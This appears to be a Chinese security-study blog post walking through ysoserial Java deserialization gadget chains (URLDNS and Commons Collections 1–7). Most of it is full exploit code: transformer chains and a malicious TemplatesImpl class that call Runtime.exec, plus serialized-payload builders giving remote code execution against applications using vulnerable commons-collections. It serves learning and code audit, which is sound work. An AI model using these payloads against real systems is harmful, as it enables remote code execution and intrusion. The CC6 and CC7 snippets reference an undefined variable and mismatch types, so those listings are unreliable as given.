再谈Java反序列化:ysoserial补全计划(一)
前言
整体跟着 su18 师傅的博客进行学习,写的真的很详细:
Java 反序列化取经路 | 素十八 (su18.org)
以 ysoserial 的众多链子为抓手,再谈 java 反序列化,也许可以注意到之前没有注意过的问题,也可以提高代码审计的水平。
URLDNS
最简单且有用的链子,不依赖任何依赖和 jdk 版本,仅使用 hashmap 和 url 这两个 jdk 自带的类。
通常用来检测是否存在反序列化漏洞。
前置知识
sink点就是我们需要触发的漏洞点。这条链子的 sink 是 Java 内置的 java.net.URL 类的 hashCode 方法,其和 equals 方法一样,会触发一次 url 解析,跟一下流程:
1 2 3 4 5 6 7 8 9
| import java.net.URL;
public class URLDNS { public static void main(String[] args) throws Exception{ URL url = new URL("http://pazuris.dnslog.cn"); url.hashCode(); }
}
|
这里进行了一个判断,如果 hashCode 的值不是 -1 ,说明已经计算过 hashCode,会直接返回之前的计算结果,当然也不会有后面解析 url 的操作。调用了 URLStreamHandler 的 hashCode:
调用 getHostAddress 处理 url ,触发 url 请求。
入口类就是重写了 readObject 的类,通过反序列化自动调用该类的 readObject 方法,最终链到 sink 点,这条链子的入口类是 java 自带的 hashmap 类,看一下他的 readObject 方法:
关键是这里,为了去重,需要对 key 进行 hash 处理,然后调用 key 的 hashCode 方法,只要我们传入的 key 的类型是 URL 就可以到达 sink 点。
攻击构造
调用链展示如下:
1 2 3 4 5 6
| HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()
|
readObject 是重新构建了一个 HashMap 对象,将 keys 和 values 放入 mapping 然后去重,依常识看,开始构建 HashMap 的时候就需要去重,所以 put 方法里面也会有对 key 调用 hash。
也就是说我们把 URL 对象放进去的时候就会解析一次,这样就区分不出是不是反序列化导致的解析,为了不让他自动解析,我们需要在 put 前将 hashcode 属性设为非 -1,put 后再改回来(通过反射来改)。完整的 URL-DNS 链代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception{ URL url = new URL("http://75391fc5f0.ipv6.1433.eu.org."); Field hashcode = url.getClass().getDeclaredField("hashCode"); HashMap<URL,Integer> hashMap = new HashMap<>(); hashcode.setAccessible(true); hashcode.set(url,1); hashMap.put(url,1); hashcode.set(url,-1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin")); ois.readObject(); }
}
|
可以拿个 dnslog 平台自行测试一下:
https://dig.pm/
Commons Collections 1
前置知识
Transformer接口
Transformer 是一个接口类,提供了一个对象转换方法 transform (接收一个对象,然后对对象作一些操作并输出)
反序列化中常用的三个实现类:ConstantTransformer
、InvokerTransformer
、ChainedTransformer
分别看一下这四个实现类的 transform 方法的逻辑:
ConstantTransformer:传入什么输出什么
InvokerTransformer:任意方法调用,典型的 sink 点
动手试一试(这里是 ubuntu 下弹计算器,jdk1.8u60,cc3.2.1):
1 2 3 4 5 6 7 8
| import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1 { public static void main(String[] args) { InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"}); invokerTransformer.transform(Runtime.getRuntime()); } }
|
ChainedTransformer:接受一个数组,链式调用,前一个输出作为后一个输入
链式调用来自动调用方法,将三个类组合起来用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1 { public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"}) }); chain.transform(new Object()); } }
|
攻击构造
找调用了 transform 的非 transformer 接口实现类,这里先看 TransformerMap(顾名思义,接受 key 和 value 并且调用 transform 进行转换,且这两个转换的 transform 由通过构造方法传入的参数进行指定):
但由于构造方法是 protected ,只能通过调用 decorate 方法来新建对象:
使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。
故我们现在的目标是要找到一个重写了 readObject 的类,并且在 readObject 中可以改变 map 的值,找到了sun.reflect.annotation.AnnotationInvocationHandler
这个类,其实现了 InvocationHandler 接口。
先看一下这个类的构造方法:
接收两个参数,第一个参数是 Annotation 实现类的 Class 对象(注解类),第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class
,才会将两个参数初始化在成员属性 type 和 memberValues 中。其中 memberValues 就是用来触发的 Map。
看 readObject 中如何处理 memberValues:
由于源代码的变量名太恶心了,这里直接给结论了:我们传入的 Map 的 key 中要有注解类中存在的属性(就是我们构造方法传入的第一个参数的属性,可以使用 Generated 类里面的comments 属性,用什么都行其实,随便找个注解类的属性),但是值不是对应的实例,也不是 ExceptionProxy 对象。
完整代码如下(注意 chain 转换 value,别转前面那个属性名 comments):
LazyMap版
除了用 TransformedMap,还可以用 LazyMap 来触发。LazyMap 通过 get()
方法获取不到 key 的时候触发 transform 。看看源码:
一样是通过 decorate 方法传入我们构造好的恶意 chain 。
AnnotationInvocationHandler 的 invoke 方法可以调用 map 的 get 方法。
至于 invoke 方法怎么触发,一句话总结:被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke
方法。
序列化数据构造方案:在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap。
这样在反序列化的时候就会调用 AnnotationInvocationHandler 的 invoke 方法,进而可以调用 get 方法。
前面构造 chain 的代码完全一样,后面改用 LazyMap :
调用链展示:
1 2 3 4 5 6 7
| AnnotationInvocationHandler.readObject() *Map(Proxy).entrySet() *AnnotationInvocationHandler.invoke() LazyMap.get()/TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
|
Commons Collections 2
和后面要用到优先级队列的一样,依赖要 commons-collections4 : 4.0
前置知识
PriorityQueue
优先级队列,要不放入 PriorityQueue 中的元素实现 Comparable 接口,要不提供一个 Comparator 对象用来排序,而后面这个就给了我们可乘之机。
而在反序列化的时候,如果提供了 Comparator ,则会自动调用 Comparator 的 compare 方法来排序,故后面会作为入口类。
这个看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 transform 转换,再传递给 Comparator 比较。
刚好可以把这个 PriorityQueue 和 Transform 连接在一起。
攻击构造
任意方法调用
其实和 cc1 差不多,还更简单:
这里需要注意的是,在初始化 PriorityQueue 时没有指定 comparator,而是使用反射写入,这是为了避免在向 queue 中添加内容时触发排序而导致触发恶意 payload(还没发出去先弹了自己计算器)。
恶意类加载
还记得学习 FastJson 的反序列化漏洞的时候提到的 TemplatesImpl,能够将字节码动态加载为类,并使用 newInstance 方法,从而触发恶意类里面 static 部分代码,实现攻击。
FastJson 里面的调用链是这样的,getOutputProperties()->newTransformer()->getTransletInstance()
,选择 getOutputProperties 作为入口是因为他是 public ,而且 FastJson 反序列化会自动调用 get 开头的方法。而在 CC2 链里面,我们可以使用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法,从而完成攻击。
上次 FastJson 没有特意提,这里提一下,如果在构造恶意类的时候没有继承AbstractTranslet 类的话,_transletIndex
索引的值默认为-1,那么getTransletInstance 方法中_class
属性调用 newInstance 方法实例化恶意类的时候就会失败(AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
),因此构造恶意类必须要继承 AbstractTranslet 类。
恶意类如下(用 javac 指令编译成 class):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
public static void main(String[] args) {
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
完整攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer; import java.io.*; import java.lang.reflect.Field;; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws Exception{ InputStream inputStream = CC2.class.getResourceAsStream("evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2); priorityQueue.add(1); priorityQueue.add(2); TemplatesImpl templates = new TemplatesImpl(); Field bytecode = templates.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(templates,new byte[][]{bytes}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Pazuris"); InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null); TransformingComparator transformingComparator = new TransformingComparator(transformer); Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,transformingComparator); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue,new Object[]{templates,templates}); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin")); oos.writeObject(priorityQueue); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.bin")); ois.readObject();
} }
|
和上一种攻击构造还有一点不同的值得说一下,由于上一种通过比较器就完成了,就不需要管队列里的值具体是什么,而这种需要队列里是 TemplatesImpl ,结合比较器触发 newTransformer ,所以要多一步给队列赋值的操作。这张图可以看到对我们构造的 TemplatesImpl 进行了比较。另外使用反射 set 的时候并不会直接触发比较,也就是并不用担心在反序列化前弹计算器。
Commons Collections 3
此链利用的是 CC1 的入口 Lazymap 和 CC2 的触发点 TemplatesImpl 动态类加载。
前置知识
TrAXFilter
可见通过此类的构造方法可以触发我们传入的 templates 的 newTransformer 方法。
重点就是需要在反序列化的时候如何自动实例化这个 TrAXFilter。实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance(当然更可以使用 InvokerTransformer 直接调用 TemplatesImpl 的 newTransformer ,就不用经 TrAXFilter),但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。
这个 InstantiateTransformer 的 transform 方法会获取传入的 Object 的 class ,然后通过构造方法里的参数类型和参数实例化这个 class 。
攻击构造
直接上代码,LazyMap 和 TemplatesImpl 前面也分析过了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.annotation.Generated; import javax.xml.transform.Templates;
public class cc3 { public static void main(String[] args) throws Exception{ InputStream inputStream = cc3.class.getResourceAsStream("evilTemplate.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); TemplatesImpl templates = new TemplatesImpl(); Field bytecode = templates.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(templates,new byte[][]{bytes}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Pazuris");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }); Map lazyMap = LazyMap.decorate(new HashMap(),chain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Generated.class,mapProxy); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3.bin")); oos.writeObject(invocationHandler); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3.bin")); ois.readObject(); } }
|
恶意类还是 CC2 那个,在编译成 class 的时候我遇到了个问题,由于我的 IDEA 是以 root 启动的,需要用 sudo javac 来编译 class,结果提示没有 javac?参考下面这篇文章解决:
https://blog.csdn.net/m0_46455711/article/details/107153870
Commons Collection 4
入口是 PriorityQueue ,然后利用 TransformingComparator 触发 ChainedTransformer,最后利用点依然是 TemplatesImpl(就和 CC2 一样,不一样仅仅在于中间换成了 CC3 的 TrAXFIlter 和 InstantiateTransformer),但是除此之外,也可以关心一下除了 PriorityQueue 还有没有其他可用的替代
TreeBag & TreeMap
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。从而达到替代 PriorityQueue 的效果。
攻击构造
前面的知识点排列组合一下:
PriorityQueue
中间使用了 CC3 链中间的链子(TrAXFilter + InstantiateTransformer + TemplatesImpl):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import java.io.*;
import java.lang.reflect.Field; import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; public class CC4 { public static void main(String[] args) throws Exception{ InputStream inputStream = CC4.class.getResourceAsStream("evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); TemplatesImpl templates = new TemplatesImpl(); Field bytecode = templates.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(templates,new byte[][]{bytes}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Pazuris");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) });
TransformingComparator transformingComparator = new TransformingComparator(chain); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2); priorityQueue.add(1); priorityQueue.add(2); Field comparator = priorityQueue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,transformingComparator); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin")); oos.writeObject(priorityQueue); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin")); ois.readObject(); } }
|
TreeBag&TreeMap
中间使用了 CC2 任意类加载的中间链子(InvokerTransformer + TemplatesImpl):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import java.io.*;
import java.lang.reflect.Field; import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; public class CC4 { public static void main(String[] args) throws Exception{ InputStream inputStream = CC4.class.getResourceAsStream("evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); TemplatesImpl templates = new TemplatesImpl(); Field bytecode = templates.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(templates,new byte[][]{bytes}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Pazuris");
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(transformer);
TreeBag<Object> tree = new TreeBag(transformingComparator); tree.add(templates); Field field = InvokerTransformer.class.getDeclaredField("iMethodName"); field.setAccessible(true); field.set(transformer, "newTransformer"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.bin")); oos.writeObject(tree); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.bin")); ois.readObject(); } }
|
Commons Collections 5
由于 CC1 原来的入口类 AnnotationInvocationHandler 在 JDK1.8 之后被修复了,没法再用了,需要找到替代类。 CC5 依旧采用了 LazyMap 加 ChainedTransformer 的触发模式,但是使用了别的方式来触发 LazyMap 的 get 。
前置知识
TiedMapEntry
org.apache.commons.collections.keyvalue.TiedMapEntry
是一个 Map.Entry
的实现类,用来使一个 Map.Entry 对象拥有在底层修改 map 的功能。
TiedMapEntry 有一个成员属性 Map (就是底层 map),TiedMapEntry 的 getValue 方法会调用该 map 的 get 方法。
下一步需要找谁调用了 getValue 方法。发现 equals,hashCode 和 toString 方法都能调用,hashCode 可以想到 URLDNS 里面的 hashMap,就是 CC6(你想到的别人早就想到了),但是这个 CC5 链用的是 toString 方法。找找哪个类的 readObject 方法调用 toString 。
BadAttributeValueExpException
于是找到了 javax.management.BadAttributeValueExpException
这个类的 readObject 方法。
满足完条件之后就会调用 valObj 的 toString 方法,攻击构造完成。
攻击构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception{ ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) });
Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"pazuris"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("val"); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin")); oos.writeObject(badAttributeValueExpException); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin")); ois.readObject(); } }
|
调用链展示:
1 2 3 4 5 6
| BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
|
Commons Collections 6
使用 HashMap 反序列化时候自动调用的 hashcode 方法来触发 getValue,HashMap可以,那 HashSet 肯定也可以,毕竟都要计算 hash 。但是有个问题,怎么防止 put 的时候会自动触发,有两种方法:
- 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。
- 利用反射调用 putValue 方法来写入 key 避免触发
前置知识
HashSet
HashSet 本质上就是由 HashMap 实现的。在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。进而调用 key 的 hashcode 方法。
攻击构造
HashMap 的,HashSet 基本一样,换个名字,只用放 key 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class CC6 {
public static void main(String[] args) throws Exception { Hashtable<Object, Object> hashMap = new HashMap<>();
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");
hashMap.put(entry, "Pazuris");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, transformers); lazyMap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin")); oos.writeObject(badAttributeValueExpException); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin")); ois.readObject(); } }
|
由于使用了 jdk 自带的 HashMap 或 HashSet,对 java 版本没有要求,实为 CC 链系列最好用的,只要求 commons-collections : 3.1~3.2.1。
Commons Collections 7
前置知识
流程和 CC6 完全一样,只是从 HashMap 和 HashSet 转成了 Hashtable,此类反序列化的时候依然会使用 hashCode 方法,通过 reconstitutionPut 调用 key 的 hashCode 方法。
攻击构造
和 CC6 代码基本完全一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class CC7 {
public static void main(String[] args) throws Exception { Hashtable<Object, Object> hashtable = new Hashtable<>();
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");
hashtable.put(entry, "Pazuris");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, transformers); lazyMap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin")); oos.writeObject(badAttributeValueExpException); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin")); ois.readObject(); } }
|
CC 链就分析到这里了,确实这次再分析感受深了很多,也深刻理解了何谓“排列组合”。接下来继续分析 ysoserial 里的链子,争取早日补完。